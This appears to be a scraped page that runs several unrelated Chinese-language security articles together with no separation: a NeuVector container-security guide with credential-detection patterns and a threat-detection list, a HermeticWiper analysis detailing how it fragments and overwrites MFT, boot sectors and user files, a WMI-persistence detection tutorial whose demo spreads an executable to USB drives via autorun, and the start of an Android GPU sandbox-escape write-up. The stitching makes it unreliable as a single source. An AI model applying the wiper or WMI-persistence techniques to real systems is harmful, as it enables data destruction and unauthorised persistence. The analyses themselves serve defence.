Generaldetectionofcredentialsincluding'apikey','api_key','password','secret','passwd'etc.

Generalpasswordsinyamlfilesincluding'password',passwd','api_token'etc.

Generalsecretskeysinkey/valuepairs

PuttyPrivatekey

XmlPrivatekey

AWScredentials/IAM

Facebookclientsecret

Facebookendpointsecret

Facebookappsecret

TwitterclientId

Twittersecretkey

Githubsecret

SquareproductId

Stripeaccesskey

SlackAPItoken

Slackwebhooks

LinkedInclientId

LinkedInsecretkey

GoogleAPIkey

SendGridAPIkey

TwilioAPIkey

HerokuAPIkey

MailChimpAPIkey

MailGunAPIkey3.策略管理NeuVector 通過組的方式對容器和主機進行管理,對組進行合規性檢查、網絡規則、進程和文件訪問規則、DLP/WAF的檢測配置。

NeuVector 會自動將當前集群主機加入到nodes 組,對於集群內容器會自動創建以nv.開頭的組。

image019.png

NeuVector 的組支持3種模式:學習模式、監控模式和保護模式;各個模式實現作用如下:

學習模式學習和記錄容器、主機間網絡連接情況和進程執行信息。

自動構建網絡規則白名單,保護應用網絡正常行為。

為每個服務的容器中運行的進程設定安全基線,並創建進程配置文件規則白名單。

監控模式NeuVector 監視容器和主機的網絡和進程運行情況,遇到非學習模式下記錄的行為將在NeuVector 中進行告警。

保護模式NeuVector 監視容器和主機的網絡和進程運行情況,遇到非學習模式下記錄的行為直接拒絕。

新建的容器業務被自動發現默認為學習模式,也可以通過設置將默認模式設置為監控模式或保護模式。

不同組策略衝突情況下,適用的有效模式如下表:

c3bc204721128e4570e1681fbe59b3c.png

為了保證業務的穩定運行,當出現模式不一致時,有效模式以限制最小的模式運行。

生產環境最佳實踐使用路徑可以是:

上新業務時,先學習模式運行一段時間,進行完整的功能測試和調用測試,得到實際運行此業務的網絡連接情況和進程執行情況信息。

監控模式運行一段時間,看看有沒有額外的特殊情況,進行判斷,添加規則。

最後全部容器都切換到保護模式,確定最終形態。

3.1.動態微隔離使用場景一:POD 間通過網絡策略互相隔離

在Kubernetes 平台中創建四個Nginx,名稱和用途如下:

workload_name:test-web1 image:nginx 用途:web服務器

workload_name:test-con1 image:nginx 用途:連接客戶端1

workload_name:test-con2 image:nginx 用途:連接客戶端2

workload_name:test-con3 image:nginx 用途:連接客戶端3

創建workload

kubectlcreatedeploymenttest-web1--image=nginx

kubectlexposedeployment/test-web1--port=80--type=NodePort

kubectlcreatedeploymenttest-con1--image=nginx

kubectlcreatedeploymenttest-con2--image=nginx

kubectlcreatedeploymenttest-con3--image=nginx此時在NeuVector 中會自動生成這幾個組:

image021.png

在test-con1 中通過curl 訪問test-web1

image023.png

此時可以正常訪問,因為在學習模式下NeuVector 也會自動添加此訪問規則。

image025.png

將test-web1 和test-con2 都設置為監控模式

image027.png

然後在test-con2 中curl 訪問test-web1

image029.png

此時test-con2 可以正常訪問test-web1,但在NeuVector 中會生成告警

image031.png

同時,相應地,在網絡活動拓撲圖中也可以看見對應的連接鏈路變為紅色。

image033.png

將test-web1 和test-con2 都設置為保護模式,在通過test-con2 去curl test-web1

image035.png

因為curl 在學習模式時沒有使用,也不是NeuVector 默認允許的可執行進程,所以進程直接就無法訪問了。

將test-con1 設置為保護模式,此時test-con1 無法訪問外部網絡。

可以通過自定義添加網絡規則方式開通訪問。

image037.png

在網絡規則頁,此處規則已經是在學習模式下生成的規則列表。

添加外部訪問規則

image039.png

NeuVector 深度了解應用程序行為,並將分析有效負載,以確定應用程序協議。協議包括:HTTP,HTTPS,SSL,SSH,DNS,DNCP,NTP,TFTP,ECHO,RTSP,SIP,MySQL,Redis,Zookeeper,Cassandra,MongoDB,PostgresSQL,Kafka,Couchbase,ActiveMQ,ElasticSearch,RabbitMQ,Radius,VoltDB,Consul,Syslog,Etcd,Spark,Apache,Nginx,Jetty,NodeJS,Oracle,MSSQL 和GRPC。

現在test-con1 的curl 可以正常訪問www.baidu.com

總結:

除上述策略外,NeuVector 也內置網絡威脅檢測,能夠快速識別常用網絡攻擊,保護業務容器安全運行。

無論保護模式如何,在“學習和監視”模式下,NeuVector 將發出警報,並且可以在“通知安全事件”中找到這些威脅。在保護模式下將收到警報和阻止;還可以根據威脅檢測創建響應規則。

包含的威脅檢測如下:

SYNfloodattack

ICMPfloodattack

IPTeardropattack

TCPsplithandshakeattack

PINGdeathattack

DNSfloodDDOSattack

DetectSSHversion1,2or3

DetectSSLTLSv1.0

SSLheartbeedattack

DetectHTTPnegativecontent-lengthbufferoverflow

HTTPsmuggingattack

HTTPSlowlorisDDOSattack

TCPsmallwindowattack

DNSbufferoverflowattack

DetectMySQLaccessdeny

DNSzonetransferattack

ICMPtunnelingattack

DNSnulltypeattack

SQLinjectionattack

ApacheStrutsRCEattack

DNStunnelingattack

TCPSmallMSSattack

CipherOverflowattack

Kubernetesman-in-the-middleattackperCVE-2020-85543.2.進程管理NeuVector 支持對容器和主機內進程進行管理,在學習模式下,運行的進程和命令會自動添加到規則中。

image041.png

此時在test-con1 中執行df -h 會發現報錯bash: /bin/df: Operation not permitted

在nv.test-con1.default 組中添加df 進程規則:

image043.png

image045.png

然後再重新執行即可。

進程管理也支持對node 節點,可以在node 組中進行限制,約束宿主機進程執行。如限制執行docker cp 執行,通過學習模式得知是`docker-tar` 進程在後端執行,將節點切換到保護模式,限制`docker-tar` 進程即可。

這些在節點就無法執行`docker cp`

4.准入策略控制NeuVector 支持與Kubernetes 准入控制(admission-control)功能對接,實現UI 配置准入控制規則,對請求進行攔截,對請求的資源對象進行校驗。

NeuVector 支持多種准入控制策率配置,如鏡像CVE 漏洞情況限制、部署特權模式、鏡像內使用root 用戶、特定標籤等。

在策略-准入控制中開啟此功能,注意:需要Kubernetes 集群提前開啟admission-control

功能

image047.png

NeuVector 准入策略控制支持兩種模式:監控模式和保護模式,對應的含義和組的模式一樣的。這裡我們直接切換到保護模式,添加策略。

image049.png

image051.png

添加完後,在Rancher 中部署特權模式,容器會提示解決,策略生效。

image053.png

5.動態安全響應NeuVector 事件響應機制可以將響應規則設置為根據安全事件情況進行動態響應,包括以下事件:漏洞掃描結果、CIS 基準測試、准入控制事件等。

image055.png

響應動作包括隔離、webhook 通知和日誌抑制:

image057.png

隔離模式:對應的容器網絡進出流量將全部被切斷。

Webhook 通知:將觸發信息通過webhook 方式進行告警。

日誌抑制:對觸發告警信息進行抑制。

6.行為監控以CVE 漏洞配置為例,配置包含CVE 漏洞名稱為CVE-2020-16156 的容器進入隔離模式。

image059.png

組名對應的是影響範圍,如果為空,表示對全部的組都生效,填寫組名可以設置對特定組生效。

配置策略後,在集群去curl nginx 容器,發現無法訪問,在NeuVector 中查看容器狀態為隔離狀態。

image061.png

刪除策略時,也可以配置將對應隔離狀態容器解除隔離。

注意:

隔離操作不適用於為主機事件觸發的規則。

每個規則可以有多個操作。

6.1.網絡流量可視化image063.png

網絡流量可視化,可以清晰可見容器集群內的網絡連接關係、當前容器連接會話,並且過濾網絡連接信息,進行圖標展示;能夠快速進行網絡問題定位。

6.2.POD 流量抓包針對容器可進行網絡抓包,讓故障無需進入主機獲取高權限,就能進行網絡問題深入排查。

image065.png

image067.png

採集到的數據包可直接下載,通過Wireshark 進行解包分析。

總結本次我們主要講解了NeuVector 的基礎功能,後續將深入介紹DLP 和WAF 的配置策略和管理使用。

這是本系列文章中的下篇,我們將繼續與讀者一道,深入分析數據擦除型的惡意軟件HermeticWiper。

(接上文)

禁用影子副本刪除影子副本是勒索軟件的一個常見行為。它應該是為了破壞系統備份,並使恢復工作陷入癱瘓。就本例來說,我們可以看到該樣本禁用了影子副本服務。

1.png

影子副本被禁用

數據碎片化在我們的分析過程中,我們注意到惡意軟件會將磁盤上的文件碎片化(與碎片整理相反)。

在運行碎片化例程之前,它會更改與資源管理器相關的一些設置:

1.png

更改註冊表,使發現NTFS操作更加困難

這可能是為了隱藏關於文件狀態的信息,使得它們更加難以被發現:

下面的函數顯示了碎片化例程的執行過程:

1.png

用於實現數據碎片化的包裝器函數

其中,標準windows目錄被排除在外:

1.png

將被跳過的文件夾列表

這樣做既可以節省時間(不破壞標准文件),又可以避免影響系統穩定性。

文件碎片化過程如下所示:

1.png

碎片詳細信息(1)

1.png

碎片詳細信息(2)

數據碎片化算法的實現,是通過將不同的IOCTL_CODES(FSCTL)用作FSCTL_GET_RETRIEVAL_POINTERS和FSCTL_GET_MOVE_FILES來實現的。該代碼看起來與碎片整理代碼非常相似。但就這裡來說,修改的目的是為了實現碎片化,即將文件塊分割為碎片,並將其移動到磁盤中的空閒簇中。

數據收集在這些準備工作完成之後,該惡意軟件就會進入執行的第二個階段:數據收集。在各種勒索軟件案例中,我們經常會看到這種情況:在加密之前,惡意軟件會遍歷目錄,並列出要攻擊的文件清單。該惡意軟件的情況與此類似,但更有趣的是,因為該軟件在進行目錄遍歷的時候,使用的不是windows API,而是NTFS文件系統,來讀取各種結構體並手動解析它們。為此,該惡意軟件需要通過標準的Windows設備來發送IOCTL(新安裝的驅動程序尚未使用)。

數據存儲上述解析過程的結果被存儲在我們設法重建的自定義結構體中,其定義如下所示:

structelemStr

{

elemStr*fLink;

elemStr*bLink;

chunkStr*chunkPtr;

DWORDdiskNumber;

BYTE*randomBufToWrite;

DWORDsizeBuffer;

};

structchunkStr

{

chunkStr*fLink;

chunkStr*bLink;

LARGE_INTEGERoffset;

QWORDchunk_size;

};就像您看到的那樣,它們都是鍊錶。

第一個elemStr定義了將被覆蓋的元素。之後,代碼會檢索其大小,並生成專用於覆蓋它的隨機緩衝區:

1.png

生成的隨機數據

在這裡,“chunk”表示要覆蓋的物理地址的連續塊。

因此,一般來說,惡意軟件將在後面的兩個步驟中用到這些結構體。第一步是收集所有數據。第二步是使用前面創建的結構體來擦除數據。

收集相關元素正如之前所看到的,這些結構體將被發送給執行數據破壞的函數。以下是以後需要銷毀的元素。

惡意軟件自身的可執行文件和植入的驅動程序我們已經看到,攻擊者對清理自己的踪跡很感興趣。為了達到這個目的,他們會從磁盤上刪除自己的可執行文件,即使二進製文件本身一直在運行並在內存中。正如HermeticWiper在文件系統中執行的任何其他任務一樣,刪除自己的二進製文件的方式與其他惡意軟件略有不同。攻擊者首先設法找到二進製文件在原始文件中的偏移量,最後,他們將覆蓋這個特定的偏移量。

1.png

HermeticWiper文件將被銷毀,同時被銷毀的還有其他元素

被植入的文件(壓縮和未壓縮的驅動程序)將被添加到同一結構體中,該動作是在在安裝之後完成的。

引導扇區攻擊者的目的之一,就是使設備無法加載操作系統。接下來的第一步,就是枚舉所有物理設備以及分區。為此,他們使用循環語句來嘗試打開harddisk[num]的句柄,其中num將從0迭代到100:

1.png

這個循環語句展示了攻擊者是如何從HardDisk0迭代到HardDisk100的

然後,所有這些信息都被存儲到一個elemStr結構體中,該結構體包含作為磁盤號的數據。在本例中,chunkElement將描述引導扇區的原始地址。在這裡,需要特別關註一下C:\System Volume Information。另外,攻擊者將在boot_sections結構體中添加以下文件夾內容:

1.png

對parse_NTFS_AND_execute_callback函數的調用

根據Microsoft的說法,“Mount Manager維護每個NTFS卷上的Mount Manager遠程數據庫,其中Mount Manager記錄了為該卷定義的任何掛載點。數據庫文件駐留在“NTFS卷上的目錄系統卷信息”(詳見“Windows Internals, 6th edition”)中。所以,這個技術也是為了提高破壞能力而創造的。最後,利用EasyUS驅動程序,所有這些收集到的偏移量都將像惡意二進製文件一樣被覆蓋掉。

保留扇區與MFT和以前一樣,惡意軟件將再次對物理驅動器ID進行暴力破解,以找到有效的驅動器ID。然後,它會使用IOCTL_DISK_GET_DRIVE_LAYOUT_EX檢索有關驅動器上所有主分區的信息,並從相應分區讀取第一個扇區。接著,通過ioctl_disk_get_drive_geometry_ex來獲取讀取磁盤的第一個扇區所需的其他信息。

1.png

檢索每個磁盤的相關信息

一旦讀取了分區的第一個扇區,該軟件就會在該扇區上調用惡意軟件傳遞的回調函數。

1.png

之後,它會根據文件系統的類型進行相應的處理:如果是FAT類型,那麼它會擦除所有保留扇區,而FAT文件系統中的引導記錄扇區是保留扇區的一部分;如果是NTFS類型,該惡意軟件就會清除磁盤上存在的MFT和MFTMirror(備份MFT),其目的是使數據恢復更加困難。

1.png

用於處理FAT文件系統的例程

1.png

用於處理NTFS文件系統的例程

NTFS卷上的每個文件都是由名為主文件表(MFT)的特殊文件中的記錄來表示的。在MFT被破壞的情況下,則可以通過讀取MFT鏡像來恢復原始MFT,其第一記錄與MFT的第一記錄相同。 MFT表為文件系統提供了相應的索引,並提供了文件駐留位置等信息。如果沒有MFT,系統將無法知道有哪些文件夾和文件,以及修改日期等信息。

Bitmap和日誌文件為了阻止數據被恢復,惡意軟件還經常會覆蓋所有邏輯驅動器上的Bitmap和日誌文件。就本例來說,邏輯驅動器是通過GetLogicalDriveStringsW進行檢索的。另外,這些結構體在進行數據恢復和取證調查時也很重要。實際上,$bitmap保存了空閒簇和已用簇的相關信息,而$logfile則保存了文件系統中發生的事務日誌。

1.png

此外,用戶文件也會受到數據破壞的影響。我們發現該惡意軟件還會覆蓋C:/Documents and settings文件夾中的所有內容。在現代Windows系統中,該文件夾將指向C:/Users。這個文件夾存放的是用戶的數據文件夾(例如,我的文檔或桌面)。在這個過程中,有些文件會被跳過,比如APPDATA下的文件,但一般來說,這些文件夾下的所有文件都會被覆蓋。

收集需要擦除的簇數據收集的最後一步,就是獲取清除磁盤上所有已佔用的簇所需的信息。為了獲取這些信息,惡意軟件使用了FSCTL_GET_VOLUME_BITMAP IOCTL來獲取磁盤上所有已佔用和空閒簇的相關信息。該惡意軟件會遍歷所有的邏輯磁盤,並使用FSCTL_GET_VOLUME_BITMAP檢索bitmap,而bitmap中的每一位表示一個簇,值1表示該簇已被佔用,0表示該簇處於空閒狀態。對於通過IOCTL檢索到的bitmap,該惡意軟件將對其進行逐位遍歷,然後,將所有已經佔用的簇添加到前文描述的擦除結構體中。這裡要注意的一點是,該惡意軟件匯集了所有相鄰的簇,而這些相鄰的簇是由單個chunk結構表示的——這一點與之前的表示方法不同,那時用一個chunk結構表示單個簇。

1.png

最後,所有已佔用的簇將被收集到一個elemStr類型的結構體中,以便銷毀。

這一切是如何進行的?到目前為止,我們已經知道一些NTFS屬性(如屬性、索引等)是用來收集數據的,之後這些數據將被銷毀。接下來,我們將展示一個例子,說明攻擊者是如何實現這一功能的,並展示其複雜程度。

為此,我們將以負責收集Windows日誌文件的代碼為例進行介紹:

1.png

負責收集Windows日誌文件的代碼

在調用上述代碼之後,會填充一些數據結構,其中包含有關物理磁盤屬性和文件夾名稱本身的數據。我們對NTFS文件系統的第一次引用是在檢索HANDLE的過程中發現的。這個文件夾是作為NTFS流打開的:

1.png

用於默認目錄流的HANDLE

其中,第一個調用將解析$INDEX_ROOT屬性,其功能與第二個調用相對類似,也更簡單,在第二個調用中使用了$INDEX_ALLOCATION屬性。關於這些NTFS屬性的其他信息可以在這裡找到。我們將假設元素列表足夠長,比如$INDEX_ALLOCATION,我們將深入考察這個調用:

1.png

相關的回調函數

為了更好地理解整個過程,我們需要記住發送的參數。其中,前面的兩個參數(nFileIndexLow和nFileIndexHigh)用於調用函數FSCTL_GET_NTFS_FILE_RECORD,它將檢索到一條NTFS記錄。在進行一些檢查之後(例如,檢查magic值),我們將調用一個名為callback_when_attribute_is_found的函數。注意,發送給這個函數的第一個參數將是之前發送的值$INDEX_ALLOCATION(0x20)。

1.png

調用callback_when_attribute_is_found函數

這個函數將遍歷作為記錄一部分的所有NTFS屬性。為此,代碼必須找到第一個屬性的偏移量。這個偏移量的長度只有2個字,因為這個偏移是相對於結構體而言的。 NTFS記錄頭部的佈局如下所示:

1.png

NTFS記錄頭部的佈局

一個NTFS文件記錄的結構如下所示:

記錄頭部

屬性

屬性

屬性NTFS記錄的佈局

如果我們還記得$INDEX_ALLOCATION(0x20),事情就很容易理解了。這些屬性將以一個特定的TypeCode開始,就像$INDEX_ALLOCATION那樣。因此,如果其中一個屬性與所需的選定類型相匹配,第一個回調函數將被觸發。

1.png

用於匹配屬性和回調函數的代碼

如果沒有匹配的TypeCode,但發現了$ATTRIBUTE_LIST,則將意味著存在更多的屬性,但這些屬性不適合$MFT表。在這種罕見的情況下,該惡意軟件將繼續處理這些額外的屬性,並將遞歸地調用第一個函數。

讓我們看看這個回調函數會做些什麼。記住,這個回調函數,在我們的案例中是indexAllocation_Callback_CollectAllfiles。第一步,是恢復這個屬性所指向的流。由於$INDEX_ALLOCATION是一個用於目錄的屬性,所以這個流可以是一個索引數組(塊索引):

1.png

使用原始磁盤偏移量恢復的塊索引數組

由於這是一個索引數組,這些索引將指向某個東西。正如你所想像的,這個東西就是NTFS記錄。在原始磁盤中,這些類型的索引看起來如下所示:

1.png

在原始磁盤鏡像文件中發現的索引塊的例子

由於索引指向記錄,因此,所有這些記錄將被遞歸地發送到初始函數。但是這一次的回調函數將是不同的,類型碼也是不同的:

1.png

調用$DATA回調函數

所以這一次,每條發送的記錄都會有不同的表現:將尋找$DATA屬性,而不是$INDEX_ALLOCATION($DATA包含文件數據)。另外,執行的回調函數將是不同的(現在命名為dataExecuting)。通過使用第一次調用中發送的磁盤屬性,結合從索引中收集的信息,這個回調函數將定位文件在磁盤中的確切位置。最後,這些文件就像我們在本報告中總結的所有文件一樣,被作為成員加入到elemStr*結構體中。如上所述,該結構體中包含的偏移量處的內容,將在最後的步驟中被惡意軟件所覆蓋。

1.png

調用函數,將文件的偏移量添加到elemStr類型的結構體中,以便以後銷毀數據

覆蓋數據最後,在收集完所有數據後,惡意軟件就開始執行覆蓋操作。為此,它會將elemStr結構體傳遞給該函數,以處理鍊錶上的所有元素:

1.png

to_overwrite_collected_sections函數

執行覆蓋操作的函數首先通過前面安裝的驅動程序來獲得對扇區的寫訪問權。然後,它會打開設備,通過偏移量遍歷收集的所有chunk,並使用WriteFile來填充先前準備好的隨機數據。

1.png

數據銷毀的代碼

下面的示例顯示了我們實驗中的一個日誌片段,當我們在惡意軟件執行期間轉儲特定結構體的內容時:首先收集數據,然後使用填充了隨機值的結構體來清除磁盤上的扇區:

1.png

小結如你所見,通過利用合法且無漏洞的簽名代碼,攻擊者就能夠繞過許多Windows安全機制。這會帶來非常嚴重的問題,因為出於安全考慮,用戶應用程序不應該在內核空間擁有這種程度的控制權限。

另外,我們想說明的是,這種情況下的數據恢復是非常困難的。攻擊者首先將文件碎片化,並將其散佈到磁盤各處,最後,用隨機數據覆蓋所有這些碎片。即使沒有最後一步(不分青紅皂白地向磁盤填充垃圾數據),只是進行碎片化並擦除所需結構體(如$MFT)的話,要想恢復如初也幾乎是不可能的。

需要注意的是,該惡意軟件為了隱藏自身的踪跡,還會設法破壞$LogFile和Windows事件等相關文件。

WMI (Windows Management Instrumentation)是微軟對基於web的企業管理(WBEM)和來自分佈式管理任務組(DMTF)的公共信息模型(CIM)標準的實現。這允許管理員以統一的方式管理一組系統,允許他們獲取關於系統的信息、系統當前狀態並執行操作。正因為如此,許多攻擊者利用它進行枚舉、橫向移動和持久性攻擊。防御者和安全供應商也充分利用了它,事實上,如果沒有它,大多數漏洞掃描程序將無法完成他們在windows主機上所做的很多事情。

研究人員起初編寫了PSGumshoe PowerShell模塊,以幫助執行威脅搜索和事件響應工作。

執行方法在多年前的一個項目中,我了解到可以通過啟用Other Object Access審核設置然後在每個WMI 命名空間上跟踪類方法的WMI 執行甚至查詢。一個熟練的Windows管理員能夠跟踪我的查詢和方法執行,並通過使用一些經過優化的攝取過濾器來包含我的操作,這些過濾器會對任何不符合他的環境中的系統正常行為的操作發出警報。

配置GPO時,請在“計算機配置- Windows設置-安全設置-高級審核策略配置-審核策略-對象訪問”下進行設置

1.jpg

審核設置通過GPO 設置和推送審核設置後,需要登錄腳本或手動過程來設置適當的審核設置以跟踪給定命名空間上的操作。需要手動執行此操作:

打開WMI控制MMC或計算機管理MMC,並打開WMI控制的屬性。

選擇Security選項卡,選擇要應用adit設置的名稱空間,然後單擊Security。

2.jpg

在下一個窗口中,點擊Advanced。

3.jpg

在命名空間的高級安全設置中,我們執行以下操作:

1.點擊Auditing選項卡;

2.點擊Add;

4.jpg

在“Audit Entry ”窗口中,執行以下操作:

1.選擇Principal將應用於的對象,我的建議是Everyone或Authenticated Users;

2.在Type中選擇ALL,因為我們想要成功和失敗事件。

3.在高級權限中,我建議從Execute Method開始,以檢測類方法的後期移動和Full Write的情況下,惡意WMI提供程序創建了一個類或永久事件組件創建在根/訂閱名稱空間之外。也有助於檢測作為C2頻道http://2014.hackitoergosum.org/slides/day1_WMI_Shell_Andrei_Dumitrescu.pdf的WMI

顯示的設置不包括查詢,沒有在將事件發送到SIEM 之前驗證和過濾事件的過程和能力,這在生產環境中會太嘈雜。

5.jpg

一旦應用了設置,任何嘗試如下所示,其中本地Win32_Process 類Create() 方法用於使用WMI 創建進程以中斷父子關係將被記錄。

6.png

當我們檢查Security 中的日誌時,我們將看到ID 為4662 的事件,其中ObjectServer 將是WMI。該事件將包括事件發生在什麼命名空間中以及在什麼用戶環境中。在AdditinalInformation 字段下,我們將查看它是本地的還是遠程的以及被調用的方法。

7.jpg

本地方法執行當從遠程系統對主機執行方法時,如下例所示,日誌將顯示該方法是遠程執行的。

8.png

我們將在AdditionalInfo 下看到方法執行是Remote Execute。

9.jpg

遠程方法執行在PSGumshoe 中,可以使用Get-EventWmiObjectAccess 函數來幫助查找這種類型的IOC。

10.png

從幫助信息中可以看到,該函數允許通過某些字段過濾事件,並且可以傳遞一個或多個EVTX文件,因此我們可以遠程或本地執行該函數。

在下面的例子中,我們正在查看一個從系統中提取的EVTX文件,並且我們正在過濾方法的本地執行。

11.png

通過管道傳遞多個EVTX 文件的示例。

12.png

WMI 操作錯誤事件在Microsoft-WMI-Arctivity/Operational 日誌中,Windows 默認記錄所有與WMI 相關的操作錯誤,事件ID 為58585。在Windows 的日常操作中,也取決於操作系統上安裝的軟件,錯誤的數量很高。如果SIEM 解決方案允許在轉發日誌之前進行過濾,這將有助於提高所發送事件的信噪比。在下圖中,我們可以看到在我的實驗室VM 中,錯誤數量很高。

13.jpg

PSGumshoe 提供Get-EventWmiOperationalError 函數來搜索和過濾生成的錯誤日誌。攻擊者可能會犯錯誤或根本無權執行生成要記錄的錯誤的操作。該事件將包括計算機和進程的PID,該進程不僅在本地生成事件,而且還為遠程操作生成事件。

就像其他WMI 函數一樣,該函數可以在另一台計算機上遠程運行,在本地運行,也可以對一個或多個EVTX 文件運行。

14.png

我們可以通過ClientMachine 分組查詢遠程主機並查看是否有來自其他主機的事件。在這個例子中,我們可以看到SDCL1 有2 個操作錯誤。

15.png

我們可以查詢主機,以便僅匹配可疑ClientMachine 的事件。

16.png

我們可以根據Resultcode進行分組,結果代碼是錯誤號,我們可以使用Microsoft文檔中的錯誤常量引用來識別任何感興趣的內容。

17.png

WMI提供程序加載用於持久性的WMI 提供程序是一種古老但未廣泛使用的技術,攻擊者在系統上安裝WMI 提供程序,當與它提供的一個或多個類交互時,它會加載它,提供編碼到其中的任何功能,作為SYSTEM 執行。 Casey Smith 創建並刪除了公開共享該技術的第一個公共POC,隨後Jared Atkinson 也公開了一個POC。

加載提供程序並在Microsoft-Windows-WMI-Activity/Operational 中創建事件ID 5857。重要的字段是ProvierPath 和TimeCreated,因為這可以關聯以構建可能訪問的類的時間線,因為僅當wmiiprvse.exe 需要類執行請求的操作時才會加載提供程序。

18.jpg

PsGumshoe提供了Get-EventWmiProviderStart函數來查詢這個事件。

18.1.png

18.2.png

這是一個查看每個提供程序已加載多少次的示例,這可能有助於識別正在使用的可疑提供程序。

19.png

WMI永久事件WMI永久事件從Windows 2000/XP時代開始就被濫用,永久事件由3 個部分組成:

Filter——WQL 查詢我們想要的事件;

Consumer——觸發過濾器時採取的行動;

Binding——向Consumer註冊過濾器。

每個組件都是一個類的實例,該類創建並存儲在CIM數據庫(objects.data)的根或根/訂閱名稱空間下。當Consumer被執行時,該操作在wmiprvse.exe的環境中以SYSTEM的形式運行。因為我們必須單獨構建每個部分並將其保存在CIM數據庫中,所以它們確實要花費更多的精力,但大多數攻擊者只是簡單地將這個過程自動化。它的局限性在於只有一小部分Consumer行為可用。

ActiveScriptEventConsumer——當一個事件被傳遞給它時,用任意的腳本語言執行一個預定義的腳本。該用戶可在Windows 2000及更高版本上使用。

CommandLineEventConsumer——當一個事件被傳遞給它時,在本地系統環境中啟動任意進程。該用戶可在Windows XP及更高版本上使用。

當事件發送到文本日誌文件時,將自定義字符串寫入到文本日誌文件中。該用戶可在Windows XP及以上版本上使用。

NTEventLogEventConsumer——當事件被發送到Windows NT事件日誌時,將特定的消息記錄到該事件日誌中。該用戶可在Windows XP及以上版本上使用。

SMTPEventConsumer——每次將事件發送給它時,使用SMTP發送一條電子郵件消息。該用戶可在Windows 2000及以上版本上使用。

對於Event Filter對象,將創建一個查詢來監視WMI CIM數據庫中的內部或外部事件,這些事件可以是任何類實例的創建、修改或刪除,或者訂閱將為某些操作生成事件的提供程序。

當__EventFilter 和任何Consumer類型類對像用於在WMI CIM 數據庫中創建Binder 實例以創建永久事件時,Microsoft-Windows-WMI-Activity/Operational 中ID 為5861 的事件日誌條目由以下人員創建默認情況下無需啟用任何審核。如果任何組件類實例被修改,該事件也會在修改中創建。即使在可能原因子元素下的UserData 元素中,該事件也將包含與永久物相關的所有信息。

如果我們使用Sysmon並將其配置為捕獲WMI事件,則將捕獲正在創建的每個組件。 Sysmon提供了將更改定位到已經綁定在一起的過濾器或使用者的優勢,以便融合到環境中。我們已經看到APT28在修改目標環境中已經存在的使用者和過濾器。 Bellow是一個將捕獲所有事件的配置。

20.png

在下面的示例中,我們將使用PowerShell創建每個組件,永久事件將檢測USB設備何時被插入,並將可執行文件複製到設備上,並在設備上設置autorun.ini。

我們將首先創建一個Event Filter實例,該實例將在可移動卷添加到主機時觸發。

21.png

我們可以看到該操作記錄在Sysmon 日誌下,事件ID 為19,它包含過濾事件的所有部分,並且該操作已創建。

22.jpg

PSGumshoe有get - sysmonwmfilter,它允許查詢這個事件,並將結果作為一個對象返回給我們。

23.png

如前所述,攻擊者可以修改現有的事件過濾器並替換查詢。 Sysmon能夠跟踪這一變化。讓我們更改查詢,使其中沒有換行符。

24.1.png

24.2.png

正如我們所看到的,Sysmon使用相同的ID記錄了更改,但操作聲明它已被修改。

25.jpg

PSGumshoe中的函數允許按字段過濾,因此我們只能查詢修改過的事件。我們看到Sysmon創建了2個事件,一個是更改之前的實例,另一個是實例現在的樣子。

26.png

現在我們將創建一個Consumer實例,這個Consumer類型為Action Script,它將執行一個VBScript腳本,該腳本將Base64解碼二進製文件並將其存儲在可移動驅動器上,它還將創建一個autorun.ini並修改它,使其隱藏在驅動器上。

27.1.png

27.2.png

該操作將被Sysmon記錄為事件ID 20,並包含來自actionscriptConsumer的整個腳本。

28.jpg

我們可以使用Get-SysmonWmiConsumer函數來查詢事件。 Sysmon只記錄Action Script和CommandLine事件Consumer,其他Consumer不被記錄,因為他們不被認為是一個安全風險。

29.png

為了將過濾器與Consumer綁定,我們需要創建一個Binder實例,該實例同時引用這兩個過濾器。它可以在Root命名空間或Root/Subscription中創建。讓我們首先在Root/Subscription名稱空間中創建一個實例,它是此類實例的默認實例。

30.png

Windows將記錄所有綁定事件,每個部分的完整信息作為事件ID 5861下的事件的一部分。

31.jpg

我們可以使用Get-EventWmiPermanentEvent函數來查詢這個事件。

32 (2).png

在編寫Android 漏洞利用程序時,突破應用程序沙箱通常是關鍵步驟。有各種各樣的遠程攻擊方法可以讓你以應用程序的權限執行代碼,但仍需要沙盒逃逸才能獲得完整的系統訪問權限。

這篇文章重點介紹可從Android 應用程序沙箱訪問系統底層的一個有趣的攻擊面:圖形處理單元(GPU) 硬件。下面描述了Qualcomm 的Adreno GPU 中的一個漏洞,以及如何使用它在Android 應用程序沙箱中實現內核代碼執行。

這項研究是建立在oldfresher的工作基礎上的,他在2019 年8 月報告了CVE-2019-10567。一年後,也就是2020 年8 月上旬,oldfresher發布了一份披露CVE-2019-10567的漏洞paper,以及一些允許遠程攻擊者破壞整個系統的其他漏洞。

但是在2020 年6 月,我發現CVE-2019-10567 的補丁不完整,並與高通的安全團隊和GPU 工程師合作,從根本上修復了這個問題。此新問題的補丁CVE-2020-11179 已發布給OEM 供應商進行集成。

0x01 Android 攻擊面Android 應用程序沙箱是SELinux、seccomp BPF 過濾器和基於每個應用程序唯一UID 的自主訪問控制的不斷發展的組合。沙箱用於限制應用程序可以訪問的資源,並減少攻擊面。攻擊者能夠使用許多途徑來實現沙箱逃逸,例如:攻擊其他應用程序、攻擊系統服務或攻擊Linux 內核。

在高層次上,Android 生態系統中有幾個不同的攻擊面層。以下是一些重要攻擊面的梳理:

層級:Linux生態

描述:影響Android 生態系統中所有設備的問題。

示例:Linux 內核漏洞,如Dirty COW,或標準系統服務中的漏洞。

層級:芯片組

描述:影響Android 生態系統大部分的問題,具體取決於各種OEM 供應商使用的硬件類型。

示例:Snapdragon SoC 性能計數器漏洞,或Broadcom WiFi 固件堆棧溢出漏洞。

層級:供應商

說明:影響特定Android OEM 供應商的大多數或所有設備的問題

示例:三星內核驅動程序漏洞

層級:設備

說明:影響Android OEM 供應商的特定設備型號的問題

示例:Pixel 4 人臉解鎖“attention aware”漏洞

從攻擊者的角度來看, Android 漏洞利用能力是一個以盡可能最具成本效益的方式覆蓋盡可能廣泛的Android 生態系統的問題。 Linux生態層的漏洞會影響許多設備,但與其他層相比,發現漏洞可能成本高昂且利用效果相對短暫。芯片組層通常會存在相當多的漏洞利用的覆蓋範圍,但不如生態層漏洞影響大。對於某些攻擊面,例如基帶和WiFi 攻擊,芯片組層是主要選擇。供應商和設備層更容易找到漏洞,但需要維護大量單獨的漏洞利用。

